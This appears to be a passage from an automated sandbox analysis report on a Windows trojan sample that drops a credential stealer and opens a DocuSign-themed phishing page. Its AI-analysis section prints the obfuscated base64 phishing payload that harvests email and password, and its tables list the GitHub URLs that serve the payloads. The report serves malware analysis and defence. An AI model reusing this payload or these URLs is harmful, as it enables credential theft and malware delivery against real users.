Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Code function: 0_2_0040559A GetVersionExW,GetVersionExW,

0_2_0040559A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Browser Extensions	11 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 Scripting	1 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	11 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	Login Hook	1 Software Packing	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
in.exe	45%	ReversingLabs	Win32.Trojan.Generic
in.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\shost.exe	55%	ReversingLabs	Win64.Trojan.CrealStealer

Source	Detection	Scanner	Label
http://kit.mit-license.org	0%	Avira URL Cloud	safe
http://ghinda.net/jpeg-blob-ajax-android/	0%	Avira URL Cloud	safe
file:///C:/Users/user/AppData/Local/Temp/archive.htm	0%	Avira URL Cloud	safe
https://mths.be/wtf8	0%	Avira URL Cloud	safe
http://bestiejs.github.io/json3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
lipis.github.io	185.199.108.153	true	false	high
github.com	20.233.83.145	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	142.250.181.132	true	false	high
objects.githubusercontent.com	185.199.111.133	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js	false		high
https://lipis.github.io/bootstrap-social/assets/fonts/fontawesome-webfont.woff2?v=4.6.3	false		high
https://github.com/homboz/arht/releases/download/seht/archive.htm/	false		high
https://lipis.github.io/bootstrap-social/assets/css/font-awesome.css	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
file:///C:/Users/user/AppData/Local/Temp/archive.htm	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/socket.io/1.7.1/socket.io.js	false		high
https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fontawesome.io	chromecache_93.9.dr	false		high
http://kit.mit-license.org	chromecache_88.9.dr, chromecache_96.9.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Modernizr/Modernizr/blob/master/feature-detects/cors.js	chromecache_88.9.dr, chromecache_96.9.dr	false		high
https://github.com/facebook/react-native/pull/1632	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.4506552676.0000011F2E600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000008.00000003.2476307429.0000011F2E450000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
https://getbootstrap.com/)	chromecache_92.9.dr, chromecache_91.9.dr	false		high
https://github.com/Automattic/has-binary/pull/4	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://stackoverflow.com/a/398120/376773	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://fontawesome.io/license	chromecache_93.9.dr	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.8.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_92.9.dr, chromecache_91.9.dr	false		high
https://github.com/niklasvh/base64-arraybuffer	chromecache_88.9.dr, chromecache_96.9.dr	false		high
https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://bestiejs.github.io/json3	chromecache_88.9.dr, chromecache_96.9.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_92.9.dr, chromecache_91.9.dr	false		high
https://github.com/yujiosaka/socke.io-ie8-loading-example	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://ghinda.net/jpeg-blob-ajax-android/	chromecache_88.9.dr, chromecache_96.9.dr	false	Avira URL Cloud: safe	unknown
http://blogs.msdn.com/b/ieinternals/archive/2010/05/13/xdomainrequest-restrictions-limitations-and-w	chromecache_88.9.dr, chromecache_96.9.dr	false		high
https://mths.be/punycode	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://stackoverflow.com/a/16459606/376773	chromecache_88.9.dr, chromecache_96.9.dr	false		high
https://mths.be/wtf8	chromecache_88.9.dr, chromecache_96.9.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ariya/phantomjs/issues/11395	chromecache_88.9.dr, chromecache_96.9.dr	false		high
http://stackoverflow.com/questions/13216903/get-binary-data-with-xmlhttprequest-in-a-firefox-extensi	chromecache_88.9.dr, chromecache_96.9.dr	false		high
https://github.com/Automattic/engine.io-client/pull/217	chromecache_88.9.dr, chromecache_96.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	unknown	United States	13335	CLOUDFLARENETUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.111.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.199.108.153	lipis.github.io	Netherlands	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574318
Start date and time:	2024-12-13 08:33:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	in.exe
Detection:	MAL
Classification:	mal100.phis.troj.evad.winEXE@25/35@14/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.16.164.97, 192.229.221.95, 142.250.181.99, 172.217.19.206, 64.233.164.84, 172.217.17.74, 142.250.181.142, 23.218.208.109, 172.217.17.35, 34.104.35.123, 142.250.181.46, 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ajax.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: in.exe

Simulations

Behavior and APIs

Time	Type	Description
02:34:25	API Interceptor	221x Sleep call for process: powershell.exe modified
02:35:07	API Interceptor	9347687x Sleep call for process: in.exe modified
02:35:08	API Interceptor	2x Sleep call for process: svchost.exe modified

LLM Input / Output

Input	Output
URL: file:///C:/Users/user/AppData/Local/Temp/archive... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple form submission script that sends data to a Google Apps Script endpoint. While it uses the `fetch` API to transmit form data, which could be considered a moderate-risk indicator, the script is likely intended for a legitimate purpose, such as submitting a form to a trusted Google domain. There are no clear signs of malicious behavior or high-risk indicators, so the overall risk score is low." }
const scriptURL = 'https://script.google.com/macros/s/AKfycbwCF5bN4XxC0lAGG23ZEihOTfdrul1-l0RAV0q2X8j1dJp_6IM-144ctzlpYYvTxZkZ9Q/exec' const form = document.forms['submit-to-google-sheet'] form.addEventListener('submit', e => { e.preventDefault() fetch(scriptURL, { method: 'POST', body: new FormData(form)}) .then(response => console.log('Success!', response)) .catch(error => console.error('Error!', error.message)) })
URL: file:///C:/Users/user/AppData/Local/Temp/archive... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script appears to be a malicious phishing attempt. It contains several high-risk indicators: 1. Dynamic code execution: The script uses `document.write()` to execute a decoded and deobfuscated PHP script that collects user email and password information. 2. Data exfiltration: The script sends the collected user credentials to an external server. 3. Obfuscated code: The script is heavily obfuscated using base64 encoding and `atob()` function, which is a common technique used to hide malicious intent. Overall, this script demonstrates clear malicious behavior and poses a high risk to users." }
document.write(decodeURIComponent(atob('JTNDJTNGcGhwJTBBaWYlMjAlMjglMjRfU0VSVkVSJTVCJTIyUkVRVUVTVF9NRVRIT0QlMjIlNUQlMjAlM0QlM0QlMjAlMjJQT1NUJTIyJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTI0RW1haWwlMjAlM0QlMjBodG1sc3BlY2lhbGNoYXJzJTI4JTI0X1BPU1QlNUIlMjdFbWFpbCUyNyU1RCUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyNFBhc3N3b3JkJTIwJTNEJTIwaHRtbHNwZWNpYWxjaGFycyUyOCUyNF9QT1NUJTVCJTI3UGFzc3dvcmQlMjclNUQlMjklM0IlMEElN0QlMEElM0YlM0UlMEElMEElM0MlMjFET0NUWVBFJTIwaHRtbCUzRSUwQSUzQ2h0bWwlM0UlMEElMjAlMjAlM0NoZWFkJTNFJTBBJTIwJTIwJTIwJTIwJTNDbWV0YSUyMGNoYXJzZXQlM0QlMjJ1dGYtOCUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ3RpdGxlJTNFU2VjdXJlJTNDL3RpdGxlJTNFJTBBJTBBJTIwJTIwJTIwJTIwJTNDbGluayUyMHJlbCUzRCUyMnNob3J0Y3V0JTIwaWNvbiUyMiUyMGhyZWYlM0QlMjJkYXRhJTNBaW1hZ2UvcG5nJTNCYmFzZTY0JTJDaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUI0QUFBQWVDQU1BQUFBTTdsNlFBQUFCZzFCTVZFVUFBQUFJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSFNMQUlTSzhJU2JFSVNiRUlTYkVJU0xFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSlNMQUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVIU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU0xBSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVLU3JRSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTTEVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU0xFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRUlTYkVJU2JFSVNiRTlpTWpqQUFBQWRYUlNUbE1BRmpzekNDUzEvUENHQ0FRRExleTlCeXk0OXZXejFYMG03dSUyQnZtN2YyNlFPbC9ZbEdocFZvSmFYOElkNSUyQm5QN21PRjFnVEEzVTFYN3E3T28lMkJCSHJVOXVOVzZ1Y0tBSmovakV1UC8wRVcvS09jLzV3U01QNXYxZ3NLOGVtTlhtTDg2NEIwT0pDVVNTYjMvQzVMNXZCa0JpVW1KUXBEbEJERkFBQUFDWEJJV1hNQUFCY1JBQUFYRVFIS0p2TS9BQUFBQjNSSlRVVUg0Z1FFRURnbHJRZnFjZ0FBQU9GSlJFRlVHQm5kd1FOYkJGRVlnTkV2dTgzR1p0dmNiTnUyOWVhdGZucDNac0tkNmVrUDdEbmlLL3o4QXdMbFAwSEJJUkFhRmk1L1JVUktWRFFtVjR3NHhNYkZKeVFtOFNWWjdGSlNVZTRmMHRJek1yTWV5WGFMVFE2RzNMejhnc0tpNHBLbjBqS3hLVWQ1cnFpc0FxcHJhdXZxRzBUWGlOTFVqS21sRmRyYTVWdEhwNmNMWHJwN2V2blYxeSUyQldnVUdVb2VHUjBURTA0MktabUFSZXA2Wm4wSGxuNThRMGo3S3dpTlBTc2hoV1ZvRzFkWDY4WWRrUTAlMkJZV2JPOWdlTWZreGJBcmxyMzlnOE9qWXh4T1RrVnpkbzd1NCUyQkpTYks2dWJ6UzNkJTJCTFRQZ0glMkI4WGFKbnRObW1BQUFBQUJKUlU1RXJrSmdnZyUzRCUzRCUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ2xpbmslMjByZWwlM0QlMjJzdHlsZXNoZWV0JTIyJTIwaHJlZiUzRCUyMmh0dHBzJTNBLy9saXBpcy5naXRodWIuaW8vYm9vdHN0cmFwLXNvY2lhbC9hc3NldHMvY3NzL2ZvbnQtYXdlc29tZS5jc3MlMjIlM0UlMEElMDklMEElMDklMEElMDklMEElMDklM0NzdHlsZSUzRSUwQS8lMkElMEElMjAlMkElMjBTb2NpYWwlMjBCdXR0b25zJTIwZm9yJTIwQm9vdHN0cmFwJTBBJTIwJTJBJTBBJTIwJTJBJTIwQ29weXJpZ2h0JTIwMjAxMy0yMDE2JTIwUGFuYXlpb3RpcyUyMExpcGlyaWRpcyUwQSUyMCUyQSUyMExpY2Vuc2VkJTIwdW5kZXIlMjB0aGUlMjBNSVQlMjBMaWNlbnNlJTBBJTIwJTJBJTBBJTIwJTJBJTIwaHR0cHMlM0EvL2dpdGh1Yi5jb20vbGlwaXMvYm9vdHN0cmFwLXNvY2lhbCUwQSUyMCUyQS8lMEElMEEuYnRuLXNvY2lhbCU3QnBvc2l0aW9uJTNBcmVsYXRpdmUlM0JwYWRkaW5nLWxlZnQlM0E0NHB4JTNCdGV4dC1hbGlnbiUzQWxlZnQlM0J3aGl0ZS1zcGFjZSUzQW5vd3JhcCUzQm92ZXJmbG93JTNBaGlkZGVuJTNCdGV4dC1vdmVyZmxvdyUzQWVsbGlwc2lzJTdELmJ0bi1zb2NpYWwlM0UlM0FmaXJzdC1jaGlsZCU3QnBvc2l0aW9uJTNBYWJzb2x1dGUlM0JsZWZ0JTNBMCUzQnRvcCUzQTAlM0Jib3R0b20lM0EwJTNCd2lkdGglM0EzMnB4JTNCbGluZS1oZWlnaHQlM0EzNHB4JTNCZm9udC1zaXplJTNBMS42ZW0lM0J0ZXh0LWFsaWduJTNBY2VudGVyJTNCYm9yZGVyLXJpZ2h0JTNBMXB4JTIwc29saWQlMjByZ2JhJTI4MCUyQzAlMkMwJTJDMC4yJTI5JTdEJTBBLmJ0bi1zb2NpYWwuYnRuLWxnJTdCcGFkZGluZy1sZWZ0JTNBNjFweCU3RC5idG4tc29jaWFsLmJ0bi1sZyUzRSUzQWZpcnN0LWNoaWxkJTdCbGluZS1oZWlnaHQlM0E0NXB4JTNCd2lkdGglM0E0NXB4JTNCZm9udC1zaXplJTNBMS44ZW0lN0QlMEEuYnRuLXNvY2lhbC5idG4tc20lN0JwYWRkaW5nLWxlZnQlM0EzOHB4JTdELmJ0bi1zb2NpYWwuYnRuLXNtJTNFJTNBZmlyc3QtY2hpbGQlN0JsaW5lLWhlaWdodCUzQTI4cHglM0J3aWR0aCUzQTI4cHglM0Jmb250LXNpemUlM0ExLjRlbSU3RCUwQS5idG4tc29jaWFsLmJ0bi14cyU3QnBhZGRpbmctbGVmdCUzQTMwcHglN0QuYnRuLXNvY2lhbC5idG4teHMlM0UlM0FmaXJzdC1jaGlsZCU3QmxpbmUtaGVpZ2h0JTNBMjBweCUzQndpZHRoJTNBMjBweCUzQmZvbnQtc2l6ZSUzQTEuMmVtJTdEJTBBLmJ0bi1zb2NpYWwtaWNvbiU3QnBvc2l0aW9uJTNBcmVsYXRpdmUlM0JwYWRkaW5nLWxlZnQlM0E0NHB4JTNCdGV4dC1hbGlnbiU
URL: file:///C:/Users/user/AppData/Local/Temp/archive.htm Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To read the document, please choose your email provider below Login to view shared file.", "prominent_button_name": "Login with Office", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Temp/archive.htm Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To read the document, please choose your email provider below Login to view shared file.", "prominent_button_name": "Login with Office", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Temp/archive.htm Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: file:///C:/Users/user/AppData/Local/Temp/archive.htm Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
20.233.83.145	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://grupoescobar.com.br/AA/auth.html#yk.cho@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
